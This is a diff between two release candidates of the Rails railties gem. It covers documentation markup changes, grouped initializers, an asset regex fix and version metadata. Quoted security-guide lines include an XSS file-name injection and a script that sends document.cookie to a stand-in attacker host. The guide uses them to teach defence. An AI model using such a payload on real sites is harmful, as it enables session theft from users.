  TOPLEVEL_BINDING, config
455
455
  </ruby>
456
456
 
457
- The <ruby>initialize</ruby> method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
457
+ The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
458
458
 
459
459
  <ruby>
460
460
  require ::File.expand_path('../config/environment', __FILE__)
@@ -26,7 +26,7 @@ h5. When are Objects Saved?
26
26
  Use the same typography as in regular text:
27
27
 
28
28
  <plain>
29
- h6. The +:content_type+ Option
29
+ h6. The <tt>:content_type</tt> Option
30
30
  </plain>
31
31
 
32
32
  h3. API Documentation Guidelines
@@ -582,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e
582
582
 
583
583
  <ruby>
584
584
  class File < ActiveRecord::Base
585
- validates :name, :format => /^[\w\.\-\+]+$/
585
+ validates :name, :format => /^[\w\.\-\<plus>]<plus>$/
586
586
  end
587
587
  </ruby>
588
588
 
@@ -595,7 +595,7 @@ file.txt%0A<script>alert('hello')</script>
595
595
  Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
596
596
 
597
597
  <ruby>
598
- /\A[\w\.\-\+]+\z/
598
+ /\A[\w\.\-\<plus>]<plus>\z/
599
599
  </ruby>
600
600
 
601
601
  h4. Privilege Escalation
@@ -762,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
762
762
  For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
763
763
 
764
764
  <html>
765
- <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
765
+ <script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
766
766
  </html>
767
767
 
768
768
  The log files on www.attacker.com will read like this:
@@ -83,7 +83,6 @@ module Rails
83
83
  require environment if environment
84
84
  end
85
85
 
86
-
87
86
  def reload_routes!
88
87
  routes_reloader.reload!
89
88
  end
@@ -92,9 +91,9 @@ module Rails
92
91
  @routes_reloader ||= RoutesReloader.new
93
92
  end
94
93
 
95
- def initialize!
94
+ def initialize!(group=nil)
96
95
  raise "Application has been already initialized." if @initialized
97
- run_initializers(self)
96
+ run_initializers(group, self)
98
97
  @initialized = true
99
98
  self
100
99
  end
@@ -7,21 +7,21 @@ module Rails
7
7
  module Bootstrap
8
8
  include Initializable
9
9
 
10
- initializer :load_environment_hook do end
10
+ initializer :load_environment_hook, :group => :all do end
11
11
 
12
- initializer :load_active_support do
12
+ initializer :load_active_support, :group => :all do
13
13
  require "active_support/all" unless config.active_support.bare
14
14
  end
15
15
 
16
16
  # Preload all frameworks specified by the Configuration#frameworks.
17
17
  # Used by Passenger to ensure everything's loaded before forking and
18
18
  # to avoid autoload race conditions in JRuby.
19
- initializer :preload_frameworks do
19
+ initializer :preload_frameworks, :group => :all do
20
20
  ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks
21
21
  end
22
22
 
23
23
  # Initialize the logger early in the stack in case we need to log some deprecation.
24
- initializer :initialize_logger do
24
+ initializer :initialize_logger, :group => :all do
25
25
  Rails.logger ||= config.logger || begin
26
26
  path = config.paths["log"].first
27
27
  logger = ActiveSupport::BufferedLogger.new(path)
@@ -41,7 +41,7 @@ module Rails
41
41
  end
42
42
 
43
43
  # Initialize cache early in the stack so railties can make use of it.
44
- initializer :initialize_cache do
44
+ initializer :initialize_cache, :group => :all do
45
45
  unless defined?(RAILS_CACHE)
46
46
  silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(config.cache_store) }
47
47
 
@@ -51,7 +51,7 @@ module Rails
51
51
  end
52
52
  end
53
53
 
54
- initializer :set_clear_dependencies_hook do
54
+ initializer :set_clear_dependencies_hook, :group => :all do
55
55
  ActionDispatch::Reloader.to_cleanup do
56
56
  ActiveSupport::DescendantsTracker.clear
57
57
  ActiveSupport::Dependencies.clear
@@ -60,11 +60,11 @@ module Rails
60
60
 
61
61
  # Sets the dependency loading mechanism.
62
62
  # TODO: Remove files from the $" and always use require.
63
- initializer :initialize_dependency_mechanism do
63
+ initializer :initialize_dependency_mechanism, :group => :all do
64
64
  ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load
65
65
  end
66
66
 
67
- initializer :bootstrap_hook do |app|
67
+ initializer :bootstrap_hook, :group => :all do |app|
68
68
  ActiveSupport.run_load_hooks(:before_initialize, app)
69
69
  end
70
70
  end
@@ -38,7 +38,7 @@ module Rails
38
38
  @assets.enabled = false
39
39
  @assets.paths = []
40
40
  @assets.precompile = [ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) },
41
- /application.(css|js)$/ ]
41
+ /(?:\/|\\|\A)application\.(css|js)$/ ]
42
42
  @assets.prefix = "/assets"
43
43
  @assets.version = ''
44
44
  @assets.debug = false
@@ -534,12 +534,12 @@ module Rails
534
534
  end
535
535
  end
536
536
 
537
- initializer :load_environment_config, :before => :load_environment_hook do
537
+ initializer :load_environment_config, :before => :load_environment_hook, :group => :all do
538
538
  environment = paths["config/environments"].existent.first
539
539
  require environment if environment
540
540
  end
541
541
 
542
- initializer :append_assets_path do |app|
542
+ initializer :append_assets_path, :group => :assets do |app|
543
543
  app.config.assets.paths.unshift(*paths["vendor/assets"].existent_directories)
544
544
  app.config.assets.paths.unshift(*paths["lib/assets"].existent_directories)
545
545
  app.config.assets.paths.unshift(*paths["app/assets"].existent_directories)
@@ -208,8 +208,8 @@ module Rails
208
208
  # Gems used only for assets and not required
209
209
  # in production environments by default.
210
210
  group :assets do
211
- gem 'sass-rails', #{options.dev? || options.edge? ? " :git => 'git://github.com/rails/sass-rails.git', :branch => '3-1-stable'" : " ~> 3.1.0".inspect}
212
- gem 'coffee-rails', #{options.dev? || options.edge? ? ":git => 'git://github.com/rails/coffee-rails.git', :branch => '3-1-stable'" : "~> 3.1.0".inspect}
211
+ gem 'sass-rails', #{options.dev? || options.edge? ? " :git => 'git://github.com/rails/sass-rails.git', :branch => '3-1-stable'" : " '~> 3.1.0'"}
212
+ gem 'coffee-rails', #{options.dev? || options.edge? ? ":git => 'git://github.com/rails/coffee-rails.git', :branch => '3-1-stable'" : "'~> 3.1.0'"}
213
213
  gem 'uglifier', '>= 1.0.3'
214
214
  end
215
215
  GEMFILE
@@ -5,6 +5,9 @@ source "http://rubygems.org"
5
5
  # development dependencies will be added by default to the :development group.
6
6
  gemspec
7
7
 
8
+ # jquery-rails is used by the dummy application
9
+ gem "jquery-rails"
10
+
8
11
  # Declare any dependencies that are still in development here instead of in
9
12
  # your gemspec. These might include edge Rails or gems from your path or
10
13
  # Git. Remember to move these dependencies to your gemspec before releasing
@@ -17,4 +20,4 @@ gemspec
17
20
 
18
21
  <% end -%>
19
22
  # To use debugger
20
- # <%= ruby_debugger_gemfile_entry %>
23
+ # <%= ruby_debugger_gemfile_entry %>
@@ -21,6 +21,10 @@ module Rails
21
21
  @options[:after]
22
22
  end
23
23
 
24
+ def belongs_to?(group)
25
+ @options[:group] == group || @options[:group] == :all
26
+ end
27
+
24
28
  def run(*args)
25
29
  @context.instance_exec(*args, &block)
26
30
  end
@@ -44,10 +48,10 @@ module Rails
44
48
  end
45
49
  end
46
50
 
47
- def run_initializers(*args)
51
+ def run_initializers(group=nil, *args)
48
52
  return if instance_variable_defined?(:@ran)
49
53
  initializers.tsort.each do |initializer|
50
- initializer.run(*args)
54
+ initializer.run(*args) if group.nil? || initializer.belongs_to?(group)
51
55
  end
52
56
  @ran = true
53
57
  end
@@ -3,7 +3,7 @@ module Rails
3
3
  MAJOR = 3
4
4
  MINOR = 1
5
5
  TINY = 1
6
- PRE = "rc1"
6
+ PRE = "rc2"
7
7
 
8
8
  STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
9
9
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: railties
3
3
  version: !ruby/object:Gem::Version
4
- hash: 977940594
4
+ hash: 977940595
5
5
  prerelease: true
6
6
  segments:
7
7
  - 3
8
8
  - 1
9
9
  - 1
10
- - rc1
11
- version: 3.1.1.rc1
10
+ - rc2
11
+ version: 3.1.1.rc2
12
12
  platform: ruby
13
13
  authors:
14
14
  - David Heinemeier Hansson
@@ -16,7 +16,7 @@ autorequire:
16
16
  bindir: bin
17
17
  cert_chain: []
18
18
 
19
- date: 2011-09-14 00:00:00 -07:00
19
+ date: 2011-09-29 00:00:00 -03:00
20
20
  default_executable:
21
21
  dependencies:
22
22
  - !ruby/object:Gem::Dependency
@@ -90,13 +90,13 @@ dependencies:
90
90
  requirements:
91
91
  - - "="
92
92
  - !ruby/object:Gem::Version
93
- hash: 977940594
93
+ hash: 977940595
94
94
  segments:
95
95
  - 3
96
96
  - 1
97
97
  - 1
98
- - rc1
99
- version: 3.1.1.rc1
98
+ - rc2
99
+ version: 3.1.1.rc2
100
100
  type: :runtime
101
101
  version_requirements: *id005
102
102
  - !ruby/object:Gem::Dependency
@@ -107,13 +107,13 @@ dependencies:
107
107
  requirements:
108
108
  - - "="
109
109
  - !ruby/object:Gem::Version
110
- hash: 977940594
110
+ hash: 977940595
111
111
  segments:
112
112
  - 3
113
113
  - 1
114
114
  - 1
115
- - rc1
116
- version: 3.1.1.rc1
115
+ - rc2
116
+ version: 3.1.1.rc2
117
117
  type: :runtime
118
118
  version_requirements: *id006
119
119
  description: "Rails internals: application bootup, plugins, generators, and rake tasks."
@@ -149,6 +149,7 @@ files:
149
149
  - guides/assets/images/has_one_through.png
150
150
  - guides/assets/images/header_backdrop.png
151
151
  - guides/assets/images/header_tile.gif
152
+ - guides/assets/images/i18n/demo_html_safe.png
152
153
  - guides/assets/images/i18n/demo_localized_pirate.png
153
154
  - guides/assets/images/i18n/demo_translated_en.png
154
155
  - guides/assets/images/i18n/demo_translated_pirate.png